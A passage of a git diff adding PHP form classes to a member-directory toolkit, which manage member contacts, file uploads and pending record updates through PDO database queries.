+                                       select * from {$this->tableName} where id = :cid";
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':cid', $_GET['cid'], PDO::PARAM_INT);
+                               $stmt->execute();
+                               $row = $stmt->fetch(PDO::FETCH_ASSOC);
+                               $defaults['id']                 = $row['id'];
+                               $defaults['title']              = $row['title'];
+                               $defaults['fname']              = $row['fname'];
+                               $defaults['lname']              = $row['lname'];
+                               $defaults['email']              = $row['email'];
+                               $defaults['phone']              = $row['phone'];
+                               $defaults['send_mail']  = $row['send_mail'];
+                       }
+            $sql = "
+              SELECT *, fname || ' ' || lname AS name,
+                     CASE send_mail
+                     WHEN 'true' THEN 'Can Mail'
+                     ELSE 'No Mail'
+                     END AS send_mail
+                FROM {$this->tableName}
+               WHERE member_id = :id
+                          ORDER BY id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       $i = 0;
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               $defaults["cid$i"]                      = $row['id'];
+                               $defaults["title$i"]            = $row['title'];
+                               $defaults["name$i"]             = $row['name'];
+                               $defaults["email$i"]            = $row['email'];
+                               $defaults["phone$i"]            = $row['phone'];
+                               $defaults["send_mail$i"]        = $row['send_mail'];
+                               ++$i;
+                       }
+                       $this->setupDefaults($defaults);
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+       /**
+        * Setup the elements to use on the form.
+        *
+        * @return void
+        * @access public
+        */
+       public function configureElements()
+       {
+        $e = array();
+               $contacts = $this->getMemberContacts();
+               //      All Grouped Elements are created here.
+               $submitText = (is_numeric($_GET['cid'])) ? 'Update' : 'Submit';
+
+               //      All Elements are created here.  This includes group element definitions.
+               $e[] = array(
+            'type' => 'header',
+            'req' => false,
+            'name' => 'fileHdr',
+            'display' => 'Contacts'
+        );
+               $e[] = array(
+            'type' => 'hidden',
+            'req' => false,
+            'name' => 'id'
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'title',
+            'display' => 'Title',
+            'opts' => array('class' => 'text')
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => true,
+            'name' => 'fname',
+            'display' => 'First Name',
+            'opts' => array('class' => 'text')
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => true,
+            'name' => 'lname',
+            'display' => 'Last Name',
+            'opts' => array('class' => 'text')
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'email',
+            'display' => 'Email',
+            'opts' => array('class' => 'text')
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'phone',
+            'display' => 'Phone',
+            'opts' => array('class' => 'text')
+        );
+               $e[] = array(
+            'type' => 'advcheckbox',
+            'req' => false,
+            'name' => 'send_mail',
+            'display' => 'Receive Mail',
+            'val' => array(0,
+            1)
+        );
+               $e[] = array(
+            'type' => 'submit',
+            'req' => false,
+            'name' => 'submit',
+            'display' => $submitText,
+            'opts' => array('class' => 'submit')
+        );
+               if (is_array($contacts)) {
+                       foreach ($contacts as $k => $v) {
+                               $e[] = array(
+                    'type' => 'header',
+                    'req' => false,
+                    'name' => "fileHdr$k"
+                );
+                               $e[] = array(
+                    'type' => 'static',
+                    'req' => false,
+                    'name' => "cid$k"
+                );
+                               $e[] = array(
+                    'type' => 'static',
+                    'req' => false,
+                    'name' => "name$k",
+                    'display' => 'Name'
+                );
+                               $e[] = array(
+                    'type' => 'static',
+                    'req' => false,
+                    'name' => "title$k"
+                );
+                               $e[] = array(
+                    'type' => 'static',
+                    'req' => false,
+                    'name' => "email$k",
+                    'display' => 'Email'
+                );
+                               $e[] = array(
+                    'type' => 'static',
+                    'req' => false,
+                    'name' => "phone$k",
+                    'display' => 'Phone'
+                );
+                               $e[] = array(
+                    'type' => 'static',
+                    'req' => false,
+                    'name' => "send_mail$k",
+                    'display' => 'Receive Mail'
+                );
+                       }
+               }
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{ configureRules()
+
+       /**
+        * Sets up all the rules to be used when the form is validated.
+        *
+     * @return void
+        * @access public
+        */
+       public function configureRules()
+       {
+        //  form rules
+        $r = array();
+               $this->registeredRules = array('phone', 'email');
+               $r[] = array(
+            'element' => 'email',
+            'message' => 'ERROR: Invalid Email Address!',
+            'type' => 'email',
+            'format' => null,
+            'validation' => $this->validationType,
+            'reset' => false,
+            'force' => false
+        );
+        /*
+               $r[] = array(
+            'element' => 'phone',
+            'message' => 'ERROR: Invalid Phone Number!',
+            'type' => 'phone',
+            'format' => null,
+            'validation' => $this->validationType,
+            'reset' => false,
+            'force' => false
+        );
+        */
+               $this->setupRules($r);
+       }
+
+       //      }}}
+
+       //      {{{     getDelUrl()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param object $sec Parameter description (if any) ...
+     *
+     * @return mixed  Return description (if any) ...
+     * @access public
+     */
+       public function getDelUrl($sec)
+       {
+               return $_SERVER['REQUEST_URI'] . "&d=t&cid={$sec->elements[0]->html}";
+       }
+
+       //      }}}
+       //      {{{     getEditUrl()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param object $sec Parameter description (if any) ...
+     *
+     * @return mixed  Return description (if any) ...
+     * @access public
+     */
+       public function getEditUrl($sec)
+       {
+               return $_SERVER['REQUEST_URI'] . "&cid={$sec->elements[0]->html}";
+       }
+
+       //      }}}
+       //      {{{     getImgUrl()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $type Parameter description (if any) ...
+     *
+     * @return string  Return description (if any) ...
+     * @access public 
+     */
+       public function getImgUrl($type)
+       {
+               return BASE_URL . "assets/$type";
+       }
+
+       //      }}}
+       //      {{{     getMailIcon()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param object $sec Parameter description (if any) ...
+     *
+     * @return string Return description (if any) ...
+     * @access public
+     */
+       public function getMailIcon($sec)
+       {
+               $status = $sec->elements[5]->html;
+               $icon = ($status == 'No Mail') ? '-Not-Ok' : '-Ok';
+               return '<img width="27" height="27" title="'.$status.'" class="mail" alt="mail" src="'. BASE_URL . "assets/mail$icon.png" . '">';
+       }
+
+       //      }}}
+       //      {{{ getMemberContacts()
+
+       /**
+        * Get all the contacts data uploaded to a member into an array
+        *
+     * @return array member contacts
+        * @access protected
+        */
+       protected function getMemberContacts()
+       {
+               try {
+                       $sql = "
+                SELECT *
+                  FROM {$this->tableName}
+                 WHERE member_id = :id
+                                ORDER BY id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               $contacts[] = $row;
+                       }
+                       return $contacts;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ insertData()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $values Parameter description (if any) ...
+     *
+     * @return object    Return description (if any) ...
+     * @access public
+     */
+       public function insertData($values)
+       {
+               unset(
+                       $values['id'],
+                       $values['target'],
+                       $values['submit']
+               );
+               $values['member_id'] = $_GET['id'];
+               try {
+                       $params = implode(', ', array_keys($values));
+                       $bindParams = ':' . implode(', :', array_keys($values));
+                       $sql = "
+                               INSERT INTO {$this->tableName} ($params)
+                               VALUES ($bindParams)";
+                       $stmt = $this->dbh->prepare($sql);
+                       foreach ($values as $k => $v) {
+                               $metaData = $this->tableMetaData[$k];
+                               if ($metaData == 'integer') {
+                                       $dataType = PDO::PARAM_INT;
+                               } else if ($metaData == 'boolean') {
+                                       $dataType = PDO::PARAM_BOOL;
+                               } elseif ($metaData == 'double precision') {
+                                       $dataType = null;
+                               } else {
+                                       $dataType = PDO::PARAM_STR;
+                               }
+                               $stmt->bindParam(":$k", $values[$k], $dataType);
+                       }
+                       return $stmt->execute();
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+    }
+
+        //     }}}
+       //      {{{     isEmail()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $name Parameter description (if any) ...
+     *
+     * @return mixed   Return description (if any) ...
+     * @access public 
+     */
+       public function isEmail($name)
+       {
+               return (substr($name, 0, 5) == 'email');
+       }
+
+       //      }}}
+       //      {{{ isForm()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $sec Parameter description (if any) ...
+     *
+     * @return unknown Return description (if any) ...
+     * @access public 
+     */
+       public function isForm($sec)
+       {
+               return !$sec;
+       }
+
+       //      }}}
+       //      {{{     isName()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $name Parameter description (if any) ...
+     *
+     * @return mixed   Return description (if any) ...
+     * @access public 
+     */
+       public function isName($name)
+       {
+               return (substr($name, 0, 4) == 'name');
+       }
+
+       //      }}}
+       //      {{{     isPhone()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $name Parameter description (if any) ...
+     *
+     * @return mixed   Return description (if any) ...
+     * @access public 
+     */
+       public function isPhone($name)
+       {
+               return (substr($name, 0, 5) == 'phone');
+       }
+
+       //      }}}
+       //      {{{     isTitle()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $name Parameter description (if any) ...
+     *
+     * @return mixed   Return description (if any) ...
+     * @access public 
+     */
+       public function isTitle($name)
+       {
+               return (substr($name, 0, 5) == 'title');
+       }
+
+       //      }}}
+
+       //      {{{ processData()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $values Parameter description (if any) ...
+     *
+     * @return void     
+     * @access public
+     */
+       public function processData($values)
+       {
+               Toolkit_Common::getTableMetaData();
+               if (empty($values['id'])) {
+                       $this->insertData($values);
+               } else {
+                       $this->updateData($values);
+               }
+               $listPage = BASE_URL .
+                       "memberdb/index.php?Option=Member&Action=Edit&tab=6";
+               header("Location: $listPage");
+       }
+
+       //      }}}
+
+       //      {{{ removeContact()
+
+    /**
+     * Remove a contact from a member record
+     * 
+     * @param integer $cid contact id
+     * @param integer $mid member id
+     *
+     * @return void
+     * @access public
+     */
+       public function removeContact($cid, $mid)
+       {
+               try {
+                       $sql = "
+                DELETE FROM {$this->tableName}
+                 WHERE id = :cid
+                   AND member_id = :mid";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':cid', $cid, PDO::PARAM_INT);
+                       $stmt->bindParam(':mid', $mid, PDO::PARAM_INT);
+                       $stmt->execute();
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ setupRenderers()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+               $renderer =& new HTML_QuickForm_Renderer_Object(true);
+
+               $this->accept($renderer);
+
+               $this->template =& new HTML_Template_Flexy($this->flexyOptions);
+
+        $m = new Toolkit_Members_RecordNavigation($this->config);
+        $m->setupUserNavStructure();
+               //      Make the view a copy of the $this object
+               //      That way we have access to call functions in
+               //      this class from within the template.
+               $this->view = $this;
+               $this->view->form = $renderer->toObject();
+        $this->view->nav = $m->getPageNav();
+               $this->template->compile($this->formTemplate);
+       }
+
+       //      }}}
+       //      {{{ show()
+       
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void  
+     * @access public
+     */
+       public function show()
+       {
+               if (isset($_GET['d'])) {
+                       $this->removeContact($_GET['cid']);
+                       $target = BASE_URL . 
+                               "memberdb/index.php?Option=Member&Action=Edit&tab=6";
+                       header("Location: $target");
+               }
+               Toolkit_Common::show();
+       }
+
+       //      }}}
+
+       //      {{{ updateData()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $values Parameter description (if any) ...
+     *
+     * @return object    Return description (if any) ...
+     * @access public
+     */
+       public function updateData($values)
+       {
+               if (array_key_exists('delete', $values)) {
+                       $this->deleteFile($values);
+               }
+
+               unset(
+                       $values['target'],
+                       $values['submit']
+               );
+
+               try {
+                       $params = array_keys($values);
+                       $length = count($params);
+                       for ($i = 0; $i < $length; ++$i) {
+                               $bindParams .= "{$params[$i]} = :{$params[$i]}";
+                if ($i < ($length - 1)) {
+                    $bindParams .= ', ';
+                }
+                       }
+                       $sql = "
+                               UPDATE {$this->tableName}
+                                  SET $bindParams
+                                WHERE id = :id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $pid, PDO::PARAM_INT);
+                       foreach ($values as $k => $v) {
+                               $metaData = $this->tableMetaData[$k];
+                               if ($metaData == 'integer') {
+                                       $dataType = PDO::PARAM_INT;
+                               } else if ($metaData == 'boolean') {
+                                       $dataType = PDO::PARAM_BOOL;
+                               } else {
+                                       $dataType = PDO::PARAM_STR;
+                               }
+                               $stmt->bindParam(":$k", $values[$k], $dataType);
+                       }
+                       return $stmt->execute();
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/EditMemberOnlyFile.php b/Toolkit/Members/EditMemberOnlyFile.php
new file mode 100644 (file)
index 0000000..8376510
--- /dev/null
@@ -0,0 +1,424 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Steve Sutton <steve@gaslightmedia.com>
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: EditMemberOnlyFile.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Controls for uploading / editing files for a business record
+ *
+ * Controls all aspects of creating and rendering the form used to manipulate
+ * the business files. Form is not rendered until the user is added into the
+ * Database.
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link         http://demo.gaslightmedia.com
+ * @see       Toolkit_Members_EditMemberInfo, Toolkit_Members_EditMemberFile
+ */
+class Toolkit_Members_EditMemberOnlyFile 
+       extends Toolkit_Members_EditMemberFile implements Toolkit_Form
+{
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param PDO    $pdo         PHP Data Object to use for DB calls
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+     *                            
+        * @access public
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $pdo,
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+               $this->setPending();
+       }
+
+       //      }}}
+
+       //      {{{ configureDefaults()
+
+       /**
+        * Sets the defaults for elements in the form
+        *
+        * Handles setting the normal defaults by way of the parents function.
+        * Then overrides any caption updates by grabbing the latest update
+        * submitted for any caption in the updates table and sets those as
+        * the defaults instead.
+        *
+        * @return void
+        * @access public
+        */
+       public function configureDefaults()
+       {
+               parent::configureDefaults();
+               try {
+                       //      Get all the latest file name updates for the files
+                       //      EXCEPT any file that has an update of [0].
+                       //      zero denotes a newly uploaded file and doesn't yet have
+                       //      a caption.
+                       $sql = "
+                SELECT 'mu.update', mf.id
+                  FROM {$this->pendingTable} mu, {$this->tableName} mf
+                 WHERE mu.id in (
+                                               SELECT max(id)
+                                                 FROM {$this->pendingTable}
+                                                WHERE db_table  =  '{$this->tableName}'
+                                                  AND member_id       =  :member_id
+                                                GROUP BY foreign_key)
+                   AND mu.field = 'file_name'
+                   AND mu.foreign_key = mf.id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               $fields[] = $row;
+                       }
+
+                       if (!empty($fields)) {
+                               $sql = "
+                                       SELECT count(*)
+                                         FROM {$this->tableName}
+                                        WHERE id      < :id
+                                          AND member_id     = :member_id";
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                               foreach ($fields as &$f) {
+                                       $stmt->bindParam(':id', $f['id'], PDO::PARAM_INT);
+                                       $stmt->execute();
+                                       $row = $stmt->fetch(PDO::FETCH_ASSOC);
+                                       $defaults["file_name{$row['count']}"] = $f['update'];
+                               }
+                               $this->setupDefaults($defaults);
+                       }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ insertData()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $values Parameter description (if any) ...
+     *
+     * @return mixed     Return description (if any) ...
+     * @access public
+     */
+       public function insertData($values)
+       {
+               if ($this->strictPending) {
+                       try {
+                               $this->dbh->beginTransaction();
+                               //      Insert the file the normal way, w/ pending being true.
+                               parent::insertData($values, $pending = true);
+
+                               //      Get the last file inserted.
+                               $sql = "
+                                       SELECT *
+                                         FROM {$this->tableName}
+                                        WHERE pending = true
+                                          AND member_id     = :member_id
+                                        ORDER BY id DESC";
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                               $stmt->execute();
+                               $file = $stmt->fetch(PDO::FETCH_ASSOC);
+
+                               //      Insert the file into the updates table for approval.
+                               $fname = empty($values['file_name']) ? 
+                                                       $values['file_rmv']['name'] :
+                                                       $values['file_name']; 
+                               $imgTag = '<img src="'.BASE_URL.'images/file-ext/pdf.png"
+                                       alt="pdf Image" style="display: inline;">';
+                               $label = '<div class="pendingFileName">
+                                                       <a href="' . BASE_URL . $this->uploadDir .
+                                               $values['uploaded_file_rmv'].'" target="_blank">' .
+                                               $imgTag . $fname . '</a></div>';
+                               $update = false;
+                               $dataType = 'boolean';
+                               $field = 'pending';
+                               $sql =  "
+                                       INSERT INTO {$this->pendingTable}
+                                               (member_id, field, update, db_table, data_type, label, foreign_key)
+                                       VALUES
+                                               (:member_id, :field, :update, :db_table, :data_type, :label, :foreign_key)";
+
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                               $stmt->bindParam(':field', $field, PDO::PARAM_STR);
+                               $stmt->bindParam(':update', $update, PDO::PARAM_BOOL);
+                               $stmt->bindParam(':db_table', $this->tableName, PDO::PARAM_STR);
+                               $stmt->bindParam(':data_type', $dataType, PDO::PARAM_STR);
+                               $stmt->bindParam(':label', $label, PDO::PARAM_STR);
+                               $stmt->bindParam(':foreign_key', $file['id'], PDO::PARAM_STR);
+                               $stmt->execute();
+                               $this->emailOwner();
+                               return $this->dbh->commit();
+                       } catch (PDOException $e) {
+                               $this->dbh->rollBack();
+                               return Toolkit_Common::handleError($e);
+                       }
+               } else {
+                       return parent::insertData($values);
+           }
+    }
+
+    // }}}
+
+    // {{{     pendingClass()
+
+       /**
+        * Returns a pending class for the file if it is in a pending state
+        *
+        * The offset passed in is controlled from the loop in the template
+        * that creates each file form.
+     *
+     * @param integer $offset which file we're dealing with
+        *
+     * @return mixed
+        * @access Protected
+        * @see    Toolkit_Members_EditMemberFile::getMemberFiles()
+        */
+    public function pendingClass($offset)
+    {
+        $files = $this->getMemberFiles();
+
+        //     If the offset is empty (0) then we know we're dealing
+        //     with the upload box.
+        if (empty($offset)) {
+            return;
+        } else {
+            // Otherwise we need to see if this file is pending or not.
+            try {
+                //     Get all the files that are pending in the updates table.
+                $sql = "
+                    SELECT DISTINCT foreign_key AS fid
+                      FROM {$this->pendingTable}
+                     WHERE db_table  = '{$this->tableName}'
+                       AND member_id = :member_id";
+                $stmt = $this->dbh->prepare($sql);
+                $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                $stmt->execute();
+                while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                    $pendingFiles[] = $row['fid'];
+                }
+            } catch (PDOException $e) {
+                return Toolkit_Common::handleError($e);
+            }
+
+            --$offset;
+
+            // If our current file is in the pending table
+            // return the pending class.
+            if (in_array($files[$offset]['id'], $pendingFiles)) {
+                return 'pending';
+            }
+        }
+    }
+
+    // }}}
+       //      {{{ processData()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $values Parameter description (if any) ...
+     *
+     * @return void     
+     * @access public
+     */
+       public function processData($values)
+       {
+               $id = $GLOBALS['memberAuth']->getAuthData('member_id');
+        $cache = new Cache_Lite(Toolkit_Members::getCacheOptions());
+        $cache->remove("Member_Profile-$id", 'Dynamic');
+
+               parent::processData($values);
+               $listPage = BASE_URL .
+            "memberdb/index.php?Option=Member&Action=Edit&tab=5";
+               header("Location: $listPage");
+       }
+
+       //      }}}
+
+       //      {{{ setPending()
+
+       /**
+        * Determines if the member has made any update requests
+        *
+        * Any update requests that are in the member_updates table
+        * will let us know if this member is pending or not.
+        *
+     * @return boolean
+        * @access protected
+        */
+       public function setPending()
+       {
+               unset ($this->pendingFields);
+               try {
+                       $sql = "
+                SELECT DISTINCT foreign_key AS fid
+                  FROM {$this->pendingTable}
+                 WHERE member_id      = :member_id
+                   AND db_table = '{$this->tableName}'";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->execute();
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               $this->pendingFields[] = $row['fid'];
+                       }
+                       $this->pending = (count($this->pendingFields)) ? true : false;
+                       return true;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ setupRenderers()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+               $renderer =& new HTML_QuickForm_Renderer_Object(true);
+
+               $this->accept($renderer);
+
+               $this->template =& new HTML_Template_Flexy($this->flexyOptions);
+
+        $m = new Toolkit_Members_RecordNavigation($this->config);
+        $m->setupUserNavStructure();
+               //      Make the view a copy of the $this object
+               //      That way we have access to call functions in
+               //      this class from within the template.
+               $this->view = $this;
+               $this->view->form = $renderer->toObject();
+        $this->view->nav = $m->getPageNav();
+               $this->template->compile($this->formTemplate);
+       }
+
+       //      }}}
+
+       //      {{{ updateData()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $values Parameter description (if any) ...
+     *
+     * @return mixed     Return description (if any) ...
+     * @access public
+     */
+       public function updateData($values)
+       {
+               if ($this->strictPending) {
+                       if (array_key_exists('delete', $values)) {
+                               return $this->deleteFile($values);
+                       }
+                       try {
+                               $fid = $values["file{$values['target']}"];
+                               $sql = "
+                                       SELECT *
+                                         FROM {$this->tableName}
+                                        WHERE id      = :id";
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':id', $fid, PDO::PARAM_INT);
+                               $stmt->execute();
+                               $file = $stmt->fetch(PDO::FETCH_ASSOC);
+
+                               $fname = empty($file['file_name']) ? 
+                                                       $file['original_name'] :
+                                                       $file['file_name']; 
+                               $imgTag = '<img src="'.BASE_URL.'images/file-ext/pdf.png"
+                                       alt="pdf Image" style="display: inline;">';
+                               $label = '<a href="' . BASE_URL . $this->uploadDir .
+                                               $file['name_on_disk'].'" target="_blank">' .
+                                               $imgTag . $fname . '</a>';
+
+                               $dataType = 'text';
+                               $label = '<div class="pendingFileName">' .
+                                                       $label . 'File Name</div>';
+                               $field = 'file_name';
+                               $sql = "
+                    INSERT INTO {$this->pendingTable}
+                                               (member_id, field, update, db_table, data_type, label, foreign_key)
+                    VALUES
+                                               (:member_id, :field, :update, :db_table, :data_type, :label, :foreign_key)";
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                               $stmt->bindParam(':field', $field, PDO::PARAM_INT);
+                               $stmt->bindParam(':update', $values["file_name{$values['target']}"], PDO::PARAM_STR);
+                               $stmt->bindParam(':db_table', $this->tableName, PDO::PARAM_INT);
+                               $stmt->bindParam(':data_type', $dataType, PDO::PARAM_INT);
+                               $stmt->bindParam(':label', $label, PDO::PARAM_INT);
+                               $stmt->bindParam(':foreign_key', $fid, PDO::PARAM_INT);
+                               $this->emailOwner();
+                               return $stmt->execute();
+                       } catch (PDOException $e) {
+                               return Toolkit_Common::handleError($e);
+                       }
+               } else {
+                       return parent::updateData($values);
+               }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/EditMemberOnlyInfo.php b/Toolkit/Members/EditMemberOnlyInfo.php
new file mode 100644 (file)
index 0000000..171ee73
--- /dev/null
@@ -0,0 +1,1194 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: EditMemberOnlyInfo.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Edit member info stored in the database
+ *
+ * Controls all aspects of creating and rendering the form used to manipulate
+ * the member data.  Handles adding / editing module details, including:
+ * 1. Restaurants
+ * 2. Accommodations
+ * 3. Golfing
+ *
+ * Controls the addition of categories to a member record.  Categories have
+ * dynamic settings which allow users to dynamically set which categories are
+ * associated to which modules (golf, accommodations, restaurant, etc...).
+ * Depending on which category is selected and assigned to a member record
+ * controls which modules are displayed on the form.
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ * @see       Toolkit_Members, member_admin
+ */
+class Toolkit_Members_EditMemberOnlyInfo
+    extends Toolkit_Members_EditMemberInfo implements Toolkit_Form
+{
+       //      {{{ properties
+
+       /**
+        * Set all the tables in the DB that hold the module info
+        *
+        * @var string
+        * @access protected
+        */
+       protected $moduleTables = array(
+               'member_golf' => array(),
+               'member_restaurants' => array(),
+               'member_accommodations' => array(),
+       );
+
+       /**
+        * All the default data
+        *
+        * When we load the default data (member record from the database), we will
+        * store all that data in this variable. That way when we process the form
+        * we will have all the information to compare against, so we can find the
+        * updates.
+        *
+        * @var string
+        * @access protected
+        */
+       protected $oldData;
+
+       //      }}}
+
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param PDO    $pdo         PHP Data Object to use for DB calls
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+     *                            
+        * @access public
+        * @see    Toolkit_Members_EditMemberInfo
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $pdo,
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+               $this->setPending();
+               //      Unset this so it won't get displayed.
+               $this->successMsg = null;
+       }
+
+       //      }}}
+
+       //      {{{ configureDefaults()
+
+       /**
+        * Loads default values for the form
+        *
+        * Setup the members default values to load into the form.
+        * Copy all these values, which is the old data we will use to compare
+        * against when the form is submitted to determine the updates, into
+        * the oldData variable.
+        *
+        * @return array default values
+        * @access protected
+        */
+       public function configureDefaults()
+       {
+               $this->oldData = parent::configureDefaults();
+
+               try {
+                       $sql = "
+                SELECT field, 'update' 
+                  FROM {$this->pendingTable}
+                 WHERE id in (
+                                               SELECT max(id)
+                                                 FROM {$this->pendingTable}
+                                                WHERE member_id = :member_id
+                                                  AND (db_table = 'member' OR
+                                                               db_table = 'member_ccard_type' OR
+                                                               db_table = 'member_accommodations' OR
+                                                               db_table = 'member_restaurants' OR
+                                                               db_table = 'member_golf')
+                                                GROUP BY field)";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->execute();
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               if ($row['field'] == 'logo') {
